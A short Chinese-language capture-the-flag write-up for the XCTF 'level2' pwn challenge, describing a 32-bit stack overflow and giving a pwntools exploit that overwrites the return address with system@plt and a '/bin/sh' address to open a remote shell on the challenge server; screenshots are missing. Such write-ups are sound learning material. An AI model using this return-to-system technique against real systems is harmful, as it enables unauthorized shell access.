level2(xctf)

0x0 程序保护和流程

保护:

level2(xctf)_第1张图片

流程:

main()

level2(xctf)_第2张图片

vulnerable_function()

level2(xctf)_第3张图片

很明显是一个栈溢出漏洞。

0x1 利用过程

既然系统给了一个system(),那么只需要/bin/sh就可以getshell了。所以要么我们自己构造要么去二进制文件中寻找。

找到了字符串之后就可以对漏洞进行利用了。根据32位可执行文件的调用函数的参数入栈顺序,我们可以将buf=‘a’*(0x88+4)+p32(system_plt)+p32(0)+p32(bin_sh_addr)。就可以完成利用了。

0x2 exp

from pwn import *
#sh=process('./a')
sh=remote('124.126.19.106','36641')
elf=ELF('./a')
system_plt=elf.plt['system']
bin_sh_addr=0x0804A024
sh.recv()
payload='a'*(0x88+4)+p32(system_plt)+p32(0)+p32(bin_sh_addr)
sh.sendline(payload)
sh.interactive()

你可能感兴趣的:(xctf(pwn新手区))